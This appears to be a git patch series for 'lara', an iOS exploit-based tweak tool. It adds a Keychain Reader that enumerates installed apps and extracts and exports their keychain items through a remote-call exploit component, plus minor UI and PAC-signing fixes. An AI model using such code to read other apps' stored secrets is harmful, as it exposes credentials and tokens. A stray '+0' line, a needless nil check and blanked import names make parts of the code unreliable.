2 -- 1 file changed, 2 deletions(-) diff --git a/lara/kexploit/TaskRop/RemoteCall.h b/lara/kexploit/TaskRop/RemoteCall.h index 6221eda03..d1bae729f 100644 --- a/lara/kexploit/TaskRop/RemoteCall.h +++ b/lara/kexploit/TaskRop/RemoteCall.h @@ -11,8 +11,6 @@ @import Foundation; #import -#import -#import // xnu-10002.81.5/osfmk/kern/exc_guard.h #define EXC_GUARD_ENCODE_TYPE(code, type) \ From 4d70c1f58bb2043789dd8f3bd9bc3bd3acfbf592 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 15:17:57 +0800 Subject: [PATCH 13/17] Update Readme.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index bfebaf349..7e9e3a9e2 100644 --- a/README.md +++ b/README.md @@ -91,6 +91,7 @@ Important Notes: - OTA Update Disabler - Screen Time Disabler - App Decrypt +- Keychain Reader ### Coming Soon From ad2136a758796c77aeff6819e33c198ac2913c90 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 16:04:06 +0800 Subject: [PATCH 14/17] Only allow App Store and self-signed apps, block self RemoteCall. --- lara/views/tweaks/KeychainView.swift | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index 1a46187ac..e5c1f7211 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -439,13 +439,15 @@ struct KeychainView: View { guard let contents = try? FileManager.default.contentsOfDirectory(atPath: appPath) else { continue } for item in contents { guard item.hasSuffix(".app") else { continue } + guard isEligibleKeychainApp(at: appPath, bname: item) else { continue } let fullAppPath = appPath + "/" + item let infoPath = fullAppPath + "/Info.plist" guard let info = NSDictionary(contentsOfFile: infoPath) else { continue } - +0 let executable = info["CFBundleExecutable"] as? String ?? "" if executable.isEmpty { continue } let bundleid = info["CFBundleIdentifier"] as? String ?? "" + if bundleid != nil && bundleid == Bundle.main.bundleIdentifier { continue } let name = (info["CFBundleDisplayName"] as? String) ?? (info["CFBundleName"] as? String) ?? (item as NSString).deletingPathExtension @@ -480,6 +482,10 @@ struct KeychainView: View { } } + private func isEligibleKeychainApp(at containerPath: String, bname bundleName: String) -> Bool { + FileManager.default.fileExists(atPath: containerPath + "/" + bundleName + "/embedded.mobileprovision") || FileManager.default.fileExists(atPath: containerPath + "/iTunesMetadata.plist") + } + private func startRead(_ app: KeychainApp) { guard datareadingbid == nil && pendingread == nil else { return } guard mgr.dsready else { From 62f1f23e2ba0f3a3ee85278bd33cbfeb7530b434 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 16:14:11 +0800 Subject: [PATCH 15/17] (empty) instead of (empty file) --- lara/views/tweaks/KeychainView.swift | 25 +++++++++++++++++++++++-- 1 file changed, 23 insertions(+), 2 deletions(-) diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index e5c1f7211..c925286c6 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -675,6 +675,23 @@ struct KeychainView: View { private func normalizeField(key: String, value: Any) -> KeychainFieldResult { if let data = value as? Data { + if data.isEmpty { + let exportValue: [String: Any] = [ + "type": "data", + "byteCount": 0, + "base64": "", + "preview": "", + ] + return KeychainFieldResult( + key: key, + displayValue: "", + detailText: "", + searchText: "", + isMonospaced: true, + exportValue: exportValue + ) + } + if key.caseInsensitiveCompare("sha1") == .orderedSame { let hex = hexString(data) let exportValue: [String: Any] = [ @@ -1049,13 +1066,17 @@ private struct KeychainFieldRow: View { field.isMonospaced || field.detailText.contains("\n") || field.detailText.count > 90 } + private var renderedText: String { + field.detailText.isEmpty ? "(empty)" : field.detailText + } + var body: some View { if usesExpandedLayout { VStack(alignment: .leading, spacing: 6) { Text(field.key) .fontWeight(.medium) - Text(field.detailText) + Text(renderedText) .font(field.isMonospaced ? .system(size: 13, design: .monospaced) : .body) .foregroundColor(.secondary) .textSelection(.enabled) @@ -1063,7 +1084,7 @@ private struct KeychainFieldRow: View { .frame(maxWidth: .infinity, alignment: .leading) } else { LabeledContent(field.key) { - Text(field.detailText) + Text(renderedText) .foregroundStyle(.secondary) .multilineTextAlignment(.trailing) .textSelection(.enabled) From 1854739a3393980f8ad660411f0a5058fe2fa840 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 16:45:35 +0800 Subject: [PATCH 16/17] add more infomation --- lara/views/tweaks/KeychainView.swift | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index c925286c6..c53cc622c 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -355,7 +355,10 @@ struct KeychainView: View { } private var resultsSection: some View { - Section(header: HeaderLabel(text: "Results", icon: "key.horizontal")) { + Section( + header: HeaderLabel(text: "Results", icon: "key.horizontal"), + footer: Text("Keychain Reader will switch to target app and then switch back 2 times. Generally, you do not need to take any action during this process.\n\nIf keep in progress, try manually switch to target app and then switch back to lara.") + ) { if let currentResult { ForEach(currentResult.classResults) { classResult in switch classResult.state { From e6cb7bd891e6c01e9e05c25fbe076e22a116d906 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Sat, 11 Jul 2026 00:29:29 +0800 Subject: [PATCH 17/17] little fix --- lara/kexploit/TaskRop/RemoteCall.m | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lara/kexploit/TaskRop/RemoteCall.m b/lara/kexploit/TaskRop/RemoteCall.m index 0b4351547..ef2a22147 100644 --- a/lara/kexploit/TaskRop/RemoteCall.m +++ b/lara/kexploit/TaskRop/RemoteCall.m @@ -591,11 +591,11 @@ - (void)signState:(uint64_t)signingThread withState:(arm_thread_state64_internal lr != 0); fflush(stdout); } - return; } else { if (pc) state->__pc = strippedPC; if (lr) state->__lr = strippedLR; } + return; } if(!is_pac_supported()) {